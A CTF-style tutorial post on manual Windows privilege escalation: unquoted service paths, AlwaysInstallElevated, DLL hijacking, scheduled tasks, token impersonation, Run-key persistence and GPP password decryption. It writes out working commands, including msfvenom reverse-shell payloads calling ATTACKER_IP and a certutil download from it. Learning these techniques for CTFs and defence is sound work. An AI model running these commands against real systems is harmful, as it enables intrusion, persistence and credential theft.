WinPEAS Finds Nothing? Manual Windows Privilege Escalation Techniques
Hey friend, you ran WinPEAS on a Windows box in a CTF, it scrolled through a bunch of output, but nothing gave you that sweet Administrator access. Frustrating, right?
Here’s the thing: WinPEAS is an amazing tool, but it’s automated. It can miss things, especially on hardened machines or boxes designed to trip up automated scanners. When WinPEAS fails, manual enumeration is your best friend.
Let me walk you through every Windows privilege escalation technique that actually works in CTFs.
Step 1: Check Your Current Privileges
First, understand what you’re working with:
# Who am I?
whoami
whoami /all
whoami /priv
# What groups?
net user %username%
# Check if you can sudo anything
powershell -c "Get-ADUser -Identity $env:USERNAME -Properties MemberOf | Select-Object MemberOf"
Look for:
SeImpersonatePrivilegeorSeAssignPrimaryPrivilege= Potato attacksSeDebugPrivilege= Read other process memory- Membership in Backup Operators, Print Operators, or similar groups
Step 2: Unquoted Service Path Exploitation
This is one of the most common Windows misconfigurations in CTFs.
Find Unquoted Service Paths
powershell -c "Get-WmiObject -Class win32_service | Select-Object Name, DisplayName, State, PathName | Where-Object {$_.PathName -notmatch 'C:\\\\Windows' -and $_.PathName -notmatch '\"'} | Format-Table -AutoSize"
# Or use WMIC
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\\Windows"
# Or check with PowerShell
powershell -c "Get-CimInstance -ClassName win32_service | Where-Object {$_.PathName -notlike '\"*\"' -and $_.PathName -like '* *'} | Select-Object Name, PathName"
What you’re looking for:
# Vulnerable example:
Name: VulnerableService
PathName: C:\Program Files\Vulnerable App\service.exe
Exploitation
If the path has spaces and isn’t quoted:
# Check if you can write to the directory
# If path is: C:\Program Files\Vulnerable App\service.exe
# Check: C:\Program Files\Vulnerable App\
icacls "C:\Program Files\Vulnerable App"
# If you see (W) or (F) for your user or "Everyone", jackpot!
# Create malicious executable
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o service.exe
# Upload it to the vulnerable directory
# Put it in: C:\Program Files\Vulnerable.exe
# (Before the space in the path)
net stop VulnerableService
net start VulnerableService
# Or reboot the machine
shutdown /r /t 0
Step 3: AlwaysInstallElevated Exploitation
If this registry setting is enabled (both keys set to 1), any user can install MSI packages with SYSTEM privileges.
Check if Vulnerable
# Check both registry keys
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Or PowerShell
powershell -c "Get-ItemProperty HKLM:\Software\Policies\Microsoft\Windows\Installer | Select-Object AlwaysInstallElevated"
powershell -c "Get-ItemProperty HKCU:\Software\Policies\Microsoft\Windows\Installer | Select-Object AlwaysInstallElevated"
If both return AlwaysInstallElevated REG_DWORD 0x1, you win!
Exploitation
# Generate malicious MSI
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi -o malicious.msi
# Or use PowerShell to create MSI
# Upload and execute
msiexec /quiet /qn /i malicious.msi
# Or execute directly
powershell -c "Start-Process msiexec.exe -ArgumentList '/i C:\temp\malicious.msi /quiet' -Verb runAs"
Step 4: DLL Hijacking
When a service or application loads a DLL from a directory you can write to, you can hijack it.
Find Vulnerable Services
# Use Process Monitor or look for services
powershell -c "Get-WmiObject win32_service | Select-Object Name, PathName | Where-Object {$_.PathName -like '*temp*' -or $_.PathName -like '*public*'}"
# Check running processes
powershell -c "Get-Process | Where-Object {$_.Path -notlike 'C:\Windows\*'} | Select-Object Name, Path"
# Use procmon to find missing DLLs
# Or look for services that start from user-writable directories
PowerShell script to find writable service directories:
$services = Get-WmiObject win32_service
foreach ($service in $services) {
$path = $service.PathName
if ($path -match "^\"?([A-Z]:\\.+?) ") {
$binary = $matches[1] -replace '"', ''
$directory = Split-Path $binary -Parent
try {
$acl = Get-Acl $directory -ErrorAction SilentlyContinue
$access = $acl.Access | Where-Object {$_.IdentityReference -match 'Everyone|Users|Authenticated Users' -and $_.FileSystemRights -match 'Write'}
if ($access) {
Write-Host "Writable: $directory"
Write-Host "Service: $($service.Name)"
Write-Host "Binary: $binary"
Write-Host ""
}
} catch {}
}
}
Exploitation
# Create malicious DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o hijacked.dll
# Upload to writable directory
# Stop and restart service
net stop ServiceName
net start ServiceName
# Or restart the machine
Step 5: Scheduled Tasks
Look for scheduled tasks running as SYSTEM or Administrator that you can modify.
# List all scheduled tasks
schtasks /query /fo LIST /v
# Or PowerShell
powershell -c "Get-ScheduledTask | Where-Object {$_.Principal.UserId -match 'SYSTEM|Administrator'} | Select-Object TaskName, TaskPath"
# Find tasks running executables from writable directories
powershell -c "Get-ScheduledTask | ForEach-Object {$task = $_; $task.Actions | Where-Object {$_.Execute -notlike 'C:\Windows\*'}} | Select-Object @{N='Task';E={$task.TaskName}}, Execute}"
# Modify a scheduled task
schtasks /change /tn "TaskName" /tr "C:\temp\malicious.exe" /ru SYSTEM
# Or create a new task
schtasks /create /tn "MyTask" /tr "C:\temp\malicious.exe" /sc onstart /ru SYSTEM
Step 6: Token Impersonation (PrintSpoofer, GodPotato, etc.)
If you have SeImpersonatePrivilege or SeAssignPrimaryPrivilege, you can impersonate SYSTEM.
# Check privileges
whoami /priv
# If you see SeImpersonatePrivilege, use PrintSpoofer
# Download PrintSpoofer
certutil -urlcache -split -f http://ATTACKER_IP/PrintSpoofer.exe PrintSpoofer.exe
# Execute
PrintSpoofer.exe -i -c cmd.exe
# Or use GodPotato (Works on newer Windows versions)
# Download: https://github.com/BeichenDream/GodPotato
GodPotato.exe -cmd "cmd.exe"
# Or SweetPotato
SweetPotato.exe -p C:\Windows\System32\cmd.exe
Step 7: Registry Run Keys
Add a malicious entry to registry run keys for persistence and privilege escalation.
# Check existing run keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Add entry (requires privileges)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\temp\malicious.exe" /f
# Or modify existing entry
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "AlreadyExists" /t REG_SZ /d "C:\temp\malicious.exe" /f
Step 8: Insecure File Permissions
Find binaries or scripts running as SYSTEM/Admin that you can modify.
# Find executables with weak permissions
icacls "C:\Program Files\VulnerableApp\"
# Look for:
# (F) - Full control
# (W) - Write
# (M) - Modify
# For your user, Everyone, Users, or Authenticated Users
# Overwrite the binary
copy /Y C:\temp\malicious.exe "C:\Program Files\VulnerableApp\vulnerable.exe"
# Restart service or machine
Step 9: Service Permissions
Check if you can modify existing services.
# List all services and their permissions
powershell -c "Get-WmiObject win32_service | ForEach-Object { try { $acl = Get-Acl \"HKLM:\SYSTEM\CurrentControlSet\Services\$($_.Name)\"; Write-Host \"$($_.Name): $($acl.Access | Where-Object {$_.IdentityReference -match 'Everyone|Users'})\" } catch {} }"
# Use accesschk from Sysinternals
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Users" *
accesschk.exe -uwcqv "Authenticated Users" *
# If you can modify a service:
# Query service config
sc qc ServiceName
# Modify service binary path
sc config ServiceName binPath= "C:\temp\malicious.exe"
# Start service
net start ServiceName
Step 10: Group Policy Preferences (GPP)
Old Group Policy Preferences store passwords in SYSVOL, encrypted with a publicly known key.
# Find Groups.xml in SYSVOL
dir \\domain.com\SYSVOL\ /s /b Groups.xml
# Or search for XML files
findstr /S /I cpassword \\domain.com\sysvol\*.xml
# Decrypt using gpp-decrypt (Kali)
gpp-decrypt "cpassword_hash"
# Or PowerShell
powershell -c "$cpassword = 'HASH'; $key = [Convert]::FromBase64String('4e99...'); $decrypt = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider; $decrypt.Mode = 'CBC'; $decrypt.Key = $key[0..15]; $decrypt.IV = $key[16..23]; $decrypt.CreateDecryptor().TransformFinalBlock([Convert]::FromBase64String($cpassword), 0, [Convert]::FromBase64String($cpassword).Length) | ForEach-Object {[char]$_}"
Step 11: Automated Tools (When Manual Isn’t Enough)
Even when WinPEAS misses things, these tools help:
# PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
# PrivEsc.exe (from Pentest.ws)
PrivEsc.exe
# SharpUp (C# tool)
SharpUp.exe
# Watson (finds missing patches)
Watson.exe
Quick Reference: What to Check
| Technique | Command | Privilege Required |
|---|---|---|
| Unquoted Service Path | wmic service get pathname | Write to directory |
| AlwaysInstallElevated | reg query HKLM\...\Installer | User privileges |
| DLL Hijacking | procmon | Write to directory |
| Scheduled Tasks | schtasks /query | Modify task |
| Token Impersonation | whoami /priv | SeImpersonatePrivilege |
| Service Permissions | accesschk.exe | Modify service |
| GPP Passwords | findstr /S cpassword | Domain user |
Bottom Line
WinPEAS is a starting point, but manual enumeration finds what automated tools miss:
- Check unquoted service paths (wmic service)
- Test AlwaysInstallElevated (reg query)
- Look for writable directories in service paths (icacls)
- Find scheduled tasks you can modify (schtasks)
- Exploit SeImpersonatePrivilege (PrintSpoofer/GodPotato)
- Check service permissions (accesschk)
- Search for GPP passwords (Groups.xml)
Now go find that root flag manually.
